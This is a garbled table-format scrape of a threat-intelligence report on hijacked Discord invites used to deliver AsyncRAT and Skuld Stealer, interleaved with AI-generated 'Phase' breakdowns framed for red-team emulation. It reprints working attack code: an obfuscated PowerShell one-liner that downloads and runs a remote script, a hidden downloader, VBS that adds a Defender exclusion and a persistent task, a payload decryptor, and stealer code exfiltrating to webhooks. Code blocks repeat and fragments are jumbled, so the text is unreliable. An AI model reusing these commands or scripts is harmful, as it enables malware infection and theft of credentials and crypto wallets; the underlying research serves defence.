decryptXOR(CONFIG["webhookencr2"].(string)) actions := []func(string){ wallets.Run, browsers.Run, system.Run,discodes.Run, commonfiles.Run, tokens.Run, } // Standard modules using the first webhook for , action := range actions { goaction(CONFIG["webhook"].(string)) } // Special module for crypto wallet injection using the second webhook gomainGowrap1(CONFIG["webhook2"].(string)) } func mainGowrap1(webhook2 string) { atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar" exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar" walletsinjection.Run(atomicURL, exodusURL, webhook2) }func main() {CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))actions := []func(string){wallets.Run,browsers.Run,system.Run,discodes.Run,commonfiles.Run,tokens.Run,}// Standard modules using the first webhookfor , action := range actions {go action(CONFIG["webhook"].(string))}// Special module for crypto wallet injection using the second webhookgo mainGowrap1(CONFIG["webhook2"].(string))}func mainGowrap1(webhook2 string) {atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar"exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar"walletsinjection.Run(atomicURL, exodusURL, webhook2)}Skuld uses a malicious technique known as wallet injection. It replaces legitimate cryptocurrency wallet applicationfiles (app.asar) with modified versions downloaded from GitHub. Skuld Stealer specifically targets the Exodus and Atomiccrypto wallets. The .asar files are archive files used by Electron applications (cross-platform applications built withJavaScript, HTML, and CSS). Electron applications commonly use .asar archives to package their source code and assets.Skuld Stealer downloads malicious .asar files from the following repositories:Atomic Wallet: https://github.com/hackirby/wallets-injection/raw/main/atomic.asarExodus Wallet: https://github.com/hackirby/wallets-injection/raw/main/exodus.asarOnce downloaded, Skuld replaces the original wallet archives with these malicious versions. Additionally, Skuld creates seeminglyharmless LICENSE text files in the wallet directories, and embeds Discord webhook URLs:Atomic wallet:%LOCALAPPDATA%\Programs\atomic\LICENSE.electron.txtExodus wallet:%LOCALAPPDATA%\exodus\app- |
| Original Text | ChatGPT 4o Paged |
|---|---|
From Trust to Threat: Hijacked Discord Invites Used for Multi-StageMalware DeliveryalexeybuKey TakeawaysCheck Point Research uncovered an active malware campaign exploiting expired and released Discord invite links. Attackershijacked the links through vanity link registration, allowing them to silently redirect users from trusted sources to maliciousservers.The attackers combined the ClickFix phishing technique, multi-stage loaders, and time-based evasions to stealthily deliverAsyncRAT, and a customized Skuld Stealer targeting crypto wallets.Payload delivery and data exfiltration occur exclusively via trusted cloud services such as GitHub, Bitbucket, Pastebin, andDiscord, helping the operation blend into normal traffic and avoid raising alarms.The operation continues to evolve, and threat actors can now bypass Chrome’s App Bound Encryption (ABE) by using adaptedtools like ChromeKatz to steal cookies from new Chromium browser versions.IntroductionDiscord is a heavily used, widely trusted platform favored by gamers, communities, businesses and others who need to connectsecurely and quickly. But what if your trusted platform unknowingly becomes a trap?Check Point Research uncovered a flaw in Discord’s invitation system which allows attackers to hijack expired or deleted invitelinks and secretly redirect unsuspecting users to malicious servers. Invitation links posted by trusted communities months ago onforums, social media, or official websites could now quietly lead you into cybercriminal hands.We observed real-world attacks in which cybercriminals leverage hijacked invite links to deploy sophisticated phishingschemes and malware campaigns, including multi-stage infections designed to evade detection by antivirus tools and sandboxsecurity checks.In this report, we detail a newly discovered malware campaign exploiting Discord’s invitation system flaw. The attackers carefullyorchestrate multiple infection stages and deliver payloads such as the Skuld Stealer which targets cryptocurrency wallets, andAsyncRAT which obtains full remote control of compromised systems. Notably, by combining multiple evasion techniques, theattackers are able to stealthily deliver malicious payloads while bypassing Windows security features and staying under the radarof many antivirus engines.Understanding Discord Invite LinksOur recent investigation into Discord invite-link hijacking revealed that cybercriminals actively exploit Discord’s invitation systemto conduct phishing attacks. Initially, we discussed how attackers exploited Discord’s custom (vanity) invite links — special inviteURLs available exclusively to servers with a premium subscription (Level 3 Boost). Criminals targeted servers whose custominvite links were expired after losing their boosts, and appropriated these recognizable invite URLs for their own use.Further research indicates that this issue extends beyond custom vanity links to include standard invite links (e.g., discord.gg/y1zw2d5).Discord generates random invitation links, making it virtually impossible for legitimate servers to reclaim a previously expiredinvite. However, we found instances where regular randomly-generated invite codes, originally published by legitimatecommunities on websites or Telegram channels, now redirect users to malicious Discord servers. How is this possible?All Discord invite links follow the format:https://discord.gg/{invite_code} |
Phase: Initial Access
Phase: Execution
Phase: Delivery
Phase: Evasion
Phase: Execution (Continued)
Phase: Credential Access
Phase: Collection
Phase: Command and Control
|
https://discord.com/invite/{invite_code}There are three primary types of invite links in Discord:Temporary Invite Links:Discord generates temporary invite links by default unless you specify otherwise. When invites are created via the Discordapplication, you can select expiration durations of 30 minutes, 1 hour, 6 hours, 12 hours, 1 day, or 7 days (default).When generated through Discord’s API, you can select any custom expiration time up to 7 days. Invite codes are randomlygenerated and typically contain 7 or 8 characters, combining uppercase letters, lowercase letters, and numbers. For example:https://discord.gg/T8CA7XrKhttps://discord.gg/yzqKS3d Figure 1 – Generating a random invite code in Discord application.2. Permanent Invite Links:These are created by explicitly selecting the “Expire After: Never” option. Codes generated for permanent invites contain 10randomly-generated alphanumeric characters (uppercase, lowercase, numbers). Figure 2 – Generating a permanent invite link in Discord application.Example of permanent invite link:https://discord.gg/wAYq5GAsyH3. Custom Vanity Invite Links:These are exclusively available to Discord servers with a premium subscription (Level 3 Boost). Vanity invite links allow server |
I'm sorry, but the content you've provided doesn't appear to be related to a CTI report or contain threat actor procedures. If you have a different document or need assistance with another topic, please let me know! |
administrators to manually select the invite code, provided it is unique across all Discord servers. Codes may contain lowercaseletters, numbers, or dashes, and all letters are automatically converted to lowercase. A server can only have one vanity link at atime. If a server loses its boosts, its custom vanity link becomes available for reuse by another boosted server.Invite Code Reuse and ExploitationWhen creating a regular randomly-generated invite link, after it’s expired or deleted, you cannot obtain the same invite linkagain. Invite codes are generated randomly and the probability of generating the same exact invite code is extremely low.However, the mechanism for creating custom invite links surprisingly lets you reuse expired temporary invite codes, and, in somecases, deleted permanent invite codes: Figure 3 – Assigning a previously used invite code from another server as a custom vanity invite link for a boosted server inDiscord application.Attackers actively exploit this behavior. Once a temporary invite expires, its code can be registered as a custom invite for anotherDiscord server that has Level 3 Boost. If a legitimate Discord server uses a custom vanity link but later loses its boost status (forexample, due to a missed subscription payment), the vanity invite becomes available again, and attackers can claim it for theirown malicious server. This creates a serious risk: Users who follow previously trusted invite links (e.g., on websites, blogs, orforums) can unknowingly be redirected to fake Discord servers created by threat actors.The safest option is to use permanent invites, which are more resistant to hijacking. In particular, if a permanent invite codecontains any uppercase letters, it cannot be reused even after deletion. However, in rare cases, if a deleted permanent inviteconsisted only of lowercase letters and digits (about 0.44% of all cases), the code may become available again for registration as avanity invite.The table below summarizes the hijack risk for each type of invite:Invite type Can behijacked?ExplanationTemporary InviteLink YesAfter expiration, the code becomes available and can be re-registered as a custom vanityURL by a different server with Level 3 Boost.Permanent InviteLink ConditionalIf deleted, a code with only lower-case letters and digits can be re-registered as a customvanity URL by a different server with Level 3 Boost.Custom VanityInvite Yes (if lost)If the original server loses its Level 3 Boost status, the vanity invite becomes invalid andmay be claimed by another boosted server.In both the Web and desktop versions of the Discord client, the invite code management behavior creates an additional riskfactor. When users create a new temporary invite through the “Invite People” option in the server’s menu and check the box “Setthis link to never expire,” it does not modify the expiration time of an already generated temporary invite. The figure belowshows how, when you click the “Set this link to never expire” checkbox, the Discord client shows that the link settings havesupposedly changed, but the invite code remains temporary (as we can see, it consists of 8 characters). |
Phase: Initial Access
Phase: Impact
Additional Observations:
These actions highlight the significance of understanding invite code lifecycle management in Discord to prevent exploitation. |
Figure 4 – When you set “Never Expires” for an existing link, its expiration settings do not actually change.Users often mistakenly believe that by simply checking this box, they have made the existing invite permanent (and it was thismisunderstanding that was exploited in the attack we observed). As a result, temporary invites are published under the falseassumption that they will never expire. These links eventually expire without warning, making their codes vulnerable to hijackingand malicious reuse.ExamplesLet’s explore how attackers can hijack Discord invite links under different conditions.Case 1: Temporary invite with only lowercase letters and digitsLet’s say a legitimate server shares an invite link like: https://discord.gg/yzqks3dThis code contains only lowercase letters and digits. As long as the invite is active, attackers cannot register it as a vanityinvite. However, once the invite expires or is manually deleted, the code becomes available. Attackers monitoring known invitecodes can then quickly claim it as a vanity invite on a malicious boosted server. From that point on, anyone using thisinvite (yzqks3d) will be redirected to the attacker’s server.Case 2: Temporary invite with uppercase lettersNow let’s consider another invite code: https://discord.gg/uzwgPxUZThis code includes uppercase letters. In this case, attackers can register a vanity invite using the lowercase version of the samecode (uzwgpxuz) even while the original invite is still active. Discord allows it because vanity codes are always stored andcompared in lowercase.While the original invite is still valid, users who follow the link will land on the correct server. But as soon as this inviteexpires, users clicking the previously legitimate link (uzwgPxUZ) are seamlessly redirected to the attackers’ server, which nowowns the lowercase vanity version of that code.Note that if the original invite that includes uppercase letters is manually deleted before its expiration, Discord continues to treatthe code as reserved until the scheduled expiration time is reached. The users following the original link (uzwgPxUZ) won’t beredirected to the attacker’s server until then.From Trusted Links to Malicious Discord ServersUsing the method described above, attackers hijack Discord invite links originally shared by legitimate communities. Usersfollowing these trusted links, found in social media posts or official community websites, unknowingly end up on maliciousservers carefully designed to look authentic.Upon joining, new members typically see that most channels are locked and only one channel, usually named “verify”, isaccessible. In this channel, a bot named ”Safeguard” prompts users to complete a verification step to gain full server access. |
Phase: Initial Access
Phase: Execution
Phase: Impact
|
Figure 7 – Safeguard bot redirecting users to the phishing website.Phishing websiteAfter the user authorizes the bot, Discord starts the OAuth2 authentication flow. Discord generates a single use code and the URLwith a format such as https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j is opened in thebrowser. At the same time, using this code, the website gets the username and the server name from Discord. After successfullyretrieving user data from Discord, the server redirects the user to another URL with the format:https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…In this URL, the “key” variable contains BASE64-encoded data retrieved from Discord that includes the username, Discord guild,and icon IDs. The page is static and does not actually verify the data received in the “key=” variable. Therefore, anyone can open itusing the empty value:https://captchaguard[.]me/?key=Once redirected, the user is shown a well-designed web page mimicking Discord’s UI. At the center isa “Verify” button, accompanied by a green shield logo. |
Phase: Initial Access
Phase: Execution
Phase: Collection
Phase: Social Engineering
|
Figure 5 – Malicious Discord server where users land after clicking a hijacked invite link.Inspecting the bot’s information reveals that the malicious bot “Safeguard#0786” was created on February 1, 2025: Figure 6 – Malicious “Safeguard” bot description.When users click the “verify” button, they’re asked to authorize the bot, redirecting them to an external website: https://captchaguard[.]me. At the same time, the bot obtains access to user profile details, such as username, avatar, and banner. |
The provided content describes a social engineering tactic using a Discord bot and a fake verification process. Here's how you could break down the procedure in an emulation context: Phase: Initial Access
Phase: Execution
Phase: Reconnaissance
The steps highlight how the attacker uses human interaction and social engineering to gain access to sensitive user data, emulating a technique that could be tested in similar environments. |
Figure 8 – Phishing website displaying a fake verification message.Clicking “Verify” executes JavaScript that silently copies a malicious PowerShell command to the user’s clipboard:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join'');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"The attackers use a refined UX trick known as “ClickFix”, a technique in which the service initially appears broken, promptingthe user to take manual action to “fix” it. In this case, a fake Google CAPTCHA is shown as failing to load, andmanual “verification” instructions are displayed.This page presents a sequence of clear, visually guided steps to pass “verification”: open the Windows Run dialog (Win + R), pastethe text preloaded into the clipboard, and press Enter. The site avoids asking users to download or run any filesmanually, removing a common red flag. By using familiar Discord visuals and a polished layout, the attackers create a false senseof legitimacy. |
Phase: Initial Access
Phase: Execution
|
Figure 9 – Social engineering technique tricking a user to execute a malicious command.In reality, this action causes the user’s computer to download and execute a PowerShell script hosted on Pastebin:https://pastebin[.]com/raw/zW0L2z2MPastebin is a public web service where users can store and share plain text online, and is often used for sharing codesnippets, logs, or configuration data. When you create a new “paste”, it becomes accessible via a short link like “https://pastebin[.]com/raw/{resource_id}”. Usually, it does not require registration to share some data. Registered users have theability to delete and edit data they previously posted.Multi-stage Payload Delivery Using Pastebin, GitHub and BitbucketThe malware campaign we uncovered in our research follows a carefully designed multi-stage infection chain. Threat actorsleverage a combination of Discord, phishing websites, social engineering, public services like Pastebin, and cloud platforms suchas GitHub and Bitbucket to deliver their payloads.The diagram below summarizes the initial phase, which involves phishing via hijacked Discord invites and the ClickFix techniquedetailed above:Figure 10 – Infection chain overview: From hijacked Discord invite to execution of PowerShell downloader.At the conclusion of this phase, a PowerShell script is executed on the victim’s machine. This script downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next phase of the attack.The script executed at the end of this phase downloads and runs a first-stage downloader (installer.exe) from GitHub, initiatingthe next stage of the attack. This stage involves multiple loaders and payloads retrieved from Bitbucket, ultimately deployingmalicious payloads, including AsyncRAT and Skuld Stealer: |
Phase: Initial Access
Phase: Execution
Phase: Initial Download
Phase: Multi-Stage Delivery
Phase: Payload Deployment
|
Figure 11 – Infection chain overview: From PowerShell to final malware payload delivery.Let’s now examine each component of the second-phase in detail.Downloader PowerShell ScriptThe script download from Pastebin link is not obfuscated or encrypted. From its code we can see that it downloads and runs anexecutable file from a GitHub URL:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try{Write-Output"Establishing connection..."# Download the EXE using WebClient |
Phase: Execution
Phase: Execution (Continued)
This structured extraction focuses on the key elements of the PowerShell script that downloads and executes a malicious payload. |
$webClient = New-Object System.Net.WebClient$webClient.DownloadFile($url, $exePath)# Validate the downloadif (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {Write-Output"failed. Exiting..."exit 1}# Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch {Write-Output"An error occurred"} finally {Write-Output"unable to detect discord session."}# Hide PowerShell Console Window Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; publicclass Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window # Define the download and execution parameters $url ="https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP('installer.exe') try { Write-Output "Establishing connection..." # Download the EXE using WebClient $webClient = New-ObjectSystem.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executable Start-Process -FilePath$exePath -ArgumentList "-arg1" -NoNewWindow } catch { Write-Output "An error occurred" } finally { Write-Output "unable todetect discord session." }# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try { Write-Output "Establishing connection..." |
Phase: Initial Access
Phase: Execution
Phase: Defense Evasion
Phase: Impact
|
Download the EXE using WebClient $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch { Write-Output "An error occurred"} finally { Write-Output "unable to detect discord session."}We noticed that almost no anti-virus vendors flag this script as malicious:Figure 12 – Malicious PowerShell script has an extremely low detection rate on VirusTotal.Cybercriminals actively use the ability to edit information posted on Pastebin to change the GitHub URL from which theexecutable file is downloaded. This probably allows them to bypass the blocking by GitHub. If the repository is deleted, theattackers just create a new account and a new repository, to which they upload the file. The new URL is then placed inside thePastebin script.While monitoring the campaign, we observed the following changes in the address:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exehttps://codeberg[.]org/wfawwf/dwadwaa/raw/branch/main/installer.exeFirst Stage Downloader: installer.exeThe downloaded executable installer.exe(SHA256: 673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932) has extremely low detectionrates. At the time of our research, only a single antivirus vendor on VirusTotal flagged it as malicious: |
Phase: Initial Access
Phase: Execution
This PowerShell script is used for downloading and executing the malicious executable, with error handling and minimal detection due to its low antivirus flag rate. |
Figure 13 – First Stage Downloader has an extremely low detection rate on VirusTotal.During continued monitoring of the campaign, we identified a newer variant of theloader (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) that achieved zerodetections across all antivirus engines at the time of submission. Figure 14 – First Stage Downloader with zero detections on VirusTotal.This binary acts as a downloader that retrieves its second-stage payloads from remote servers.Written in C++ and approximately 4.8MB in size, the binary is not packed. However, the extensive use of junk code complicatesits static analysis. Additionally, C++ binaries inherently complicate analysis due to their use of virtual function tables, indirectfunction calls, and complex runtime structures, making it challenging to quickly identify the relevant code paths.At first glance, the downloader seems to contain plaintext strings; however, nearly all easily visible strings belong to junk codedesigned to distract analysts. In reality, critical strings related to malicious functionality are concealed by being stored assequences of immediate values pushed directly onto the stack at runtime. Each string is additionally encrypted using a simpleXOR cipher with a single-byte key. A distinct XOR key is used for every encrypted string and loaded into the CL register typicallyjust before the process of writing encrypted bytes to the stack. The same method is applied to obfuscate important Windows APIfunction names, whose addresses the malware dynamically resolves using GetProcAddress. Figure 15 – Strings and API calls obfuscation in the loader.When executed in a sandbox without extra options, the malware does not expose any suspicious functionality. It just performsdozens of junk calls (such as OpenThemeData, RegisterWindowMessageW, SHGetStockIconInf, etc.) and then exits.However, if executed with the command-line parameters ”-arg1” or ”-arg2“, it initiates further malicious operations. It’snoteworthy that the initial PowerShell script described earlier explicitly passes the “ -arg1” parameter to theexecutable, triggering its malicious functionality.Upon execution with the correct argument, the dropper creates the following directory: C:\Users\%USERNAME%\AppData\Local\ServiceHelper\ |
Phase: Initial Access
Phase: Execution
Phase: Obfuscation
Phase: Execution (Triggering Malicious Functionality)
Phase: Defense Evasion
This structured information provides a tactical overview of the threat actor's methods, allowing red teams to emulate and test these procedures. |
Then, it creates two Visual Basic scripts inside this folder:nat1.vbsThis script attempts to evade Windows Defender detection by adding the user’s directory to Defender’s exclusion paths. It alsoschedules a persistent task named checker, set to run every 5 minutes with the highest privileges. This task periodically launchesthe second script, runsys.vbs. In addition, the script ensures the creation of a placeholder file called settings.txt. This file actsas an execution flag: The malware checks for its existence upon startup to determine if it has previously run.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) ThenCall objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommand Set objNetwork =CreateObject("WScript.Network") strUsername = objNetwork.UserName Set objShellApp = CreateObject("Shell.Application") SetobjShell = CreateObject("WScript.Shell") strExclusionPath = "C:\users\" & strUsername objShellApp.ShellExecute"PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0 strTaskCommand ="schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST" objShell.Run "cmd /c " & strTaskCommand, 0, True strFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt" Set objFSO =CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath,True) End If Set objShellApp = Nothing Set objShell = Nothing Set objNetwork = Nothing Set objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network") |
Phase: Execution
Phase: Persistence
Phase: Execution
Phase: Defense Evasion
Phase: Persistence
|
strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = Nothingrunsys.vbsThis short script silently executes the second-stage payload executable syshelpers.exe.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume Next Set WshShell = CreateObject("WScript.Shell") WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOnce these scripts are set up, the dropper proceeds to download two encrypted payloads from Bitbucket:URL Local file namehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/skul.exe searchHost.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe syshelpers.exeTo perform HTTP requests, the malware uses the following specific User-agent string:Dynamic WinHTTP Client/1.0Both files are stored encrypted on the Bitbucket service. To decrypt these downloaded executables, the malware applies thefollowing XOR-based algorithm:Plain textCopy to clipboardOpen code in new window |
Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Defense Evasion
Phase: Execution
Phase: Payload Deployment
Phase: Evasion
This structured breakdown focuses on the specific actions and commands used by the threat actor, allowing a red team to emulate the attack chain effectively. |
EnlighterJS 3 Syntax Highlighterdef decrypt_data(data):return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))Despite using a relatively simple encryption scheme, this technique effectively prevents detection of the malicious payloads storedon Bitbucket. At the time of this writing, neither of the two downloaded files (skul.exe and Rnr.exe) is flagged as malicious byany antivirus vendor on VirusTotal. Previously, we observed similar use of payload encryption by malware such asGuLoader, enabling threat actors to leverage legitimate services like Google Drive for payload hosting and effectively evadeantivirus detection.Upon successful decryption, these files are stored in the previously created directory (ServiceHelper).The first downloaded file searchHost.exe (initially skul.exe) is executed immediately by calling the CreateProcessW APIfunction.The second file syshelpers.exe (initially Rnr.exe) is executed every five minutes by the previously scheduled task(runsys.vbs), thus ensuring long-term persistence on the victim’s machine.Second Stage Downloader: Rnr.exeThe file Rnr.exe (decryptedSHA256: 5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f), downloaded from Bitbucketand saved locally as syshelpers.exe, also acts as a downloader.It shares many similarities with the previously described downloader (installer.exe), in particular that both use XORobfuscation with a single-byte key to hide strings and API function names.When sending HTTP requests to download its payload, the sample sets the following User-Agent header:Dynamic WinHTTP Client/1.0The encrypted payload is downloaded from this URL:https://bitbucket[.]org/updatevak/upd/downloads/AClient.exe |
Phase: Defense Evasion
Phase: Execution
Phase: Persistence
Phase: Command and Control
Phase: Defensive Evasion
|
Figure 16 – Encrypted paths and a URL in the second stage downloader.The same file can also be found on the previously discussed repository: https://bitbucket[.]org/syscontrol6/syscontrol/downloads/AClient.exe. This may indicate that there could be other versions of the Rnr.exe file downloading payloads fromdifferent repositories.This downloader employs an interesting sandbox evasion technique. On first execution, the downloader fetches the payload fromthe above URL and saves it in the current directory under the name ”updatelog” (Note: There is no file extension). It thenimmediately exits without decrypting or executing the payload.However, as described earlier, this executable is automatically re-executed every five minutes via a scheduledtask (runsys.vbs). On the next launch, the downloader checks for the presence of the ”updatelog” file. If the file exists, thedownloader proceeds to decrypt it using the same XOR-based algorithm used by the previous downloader and saves the resultas syshelp.exe in the same directory.On every subsequent run, the downloader checks if the file syshelp.exe exists in the current folder, and if so, the downloaderexecutes it.Even when the full infection chain is triggered starting from the initial PowerShell script, the malware’s use of scheduled taskscauses significant delays:Five minutes before the first download,Another 5 minutes before decryption,A final 5-minute delay before execution.In total, at least 15 minutes must pass before any malicious behavior becomes visible — long enough to evade detection by manyautomated sandbox systems.If this downloader is executed without prior context inside a sandbox, the final payload will be downloaded but never decrypted orrun. As a result, none of its malicious behavior will be visible, regardless of what the payload contains.Payload 1: AClient.exe (AsyncRAT)The first payload delivered in this campaign, AClient.exe (decryptedSHA256: 53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe), is a variant of the AsyncRATmalware, version 0.5.8. AsyncRAT an open-source Remote Access Trojan (RAT). It provides attackers with comprehensive remotecontrol capabilities over infected systems, including:Executing arbitrary commands and scripts.Keylogging and screen capturing.File management (uploading, downloading, deleting files). |
Phase: Initial Access
Phase: Execution
Phase: Persistence
Phase: Payload Execution
Phase: Remote Access
|
Remote desktop and camera access.This AsyncRAT sample uses a “dead drop resolver” technique: Instead of directly embedding the command-and-control (C&C) server address, the malware retrieves it from a publicly accessible third-party resource – in this case, a Pastebindocument:https://pastebin.com/raw/ftknPNF7At the time of analysis, the Pastebin URL contained the following C&C server address:101.99.76.120:7707However, we later discovered that most of the time the address value was set to 0.0.0.0:7707.We also found earlier AsyncRAT samples related to the same threat actors with the following SHA256:d54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236aThe earliest sample was first seen on November 11, 2024. These samples contain embedded C&C server addresses in theirconfiguration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter87.120.127.37:7707185.234.247.8:7707microads[.]top:770787.120.127.37:7707 185.234.247.8:7707 microads[.]top:770787.120.127.37:7707185.234.247.8:7707microads[.]top:7707The registration date for the domain microads[.]top is August 15, 2024, meaning that the threat actors are active at least fromthis date.Payload 2: skul.exe (Skuld Stealer)The second payload downloaded from Bitbucket is skul.exe (decryptedSHA256: 8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c). This executable is identified asa variant of the Skuld Stealer, a malware tool written in Go and publicly available as open source on GitHub.The original Skuld Stealer project is described as a proof-of-concept malware targeting Windows systems, designed to stealsensitive user data from multiple sources, including Discord, various browsers, crypto wallets, and gaming platforms.The original Skuld Stealer provides extensive functionality, including:Anti-debugging (termination of debugging tools).Virtual machine detection and sandbox evasion.Credential theft from Chromium-based and Gecko-based browsers (logins, cookies, credit cards, browser history).Crypto clipper (replaces clipboard contents with attacker-controlled cryptocurrency addresses).Stealing Discord authentication tokens. |
Phase: Command and Control Configuration
Phase: Execution
Phase: Payload Deployment
Phase: Evasion
Phase: Credential Access
Phase: Impact
|
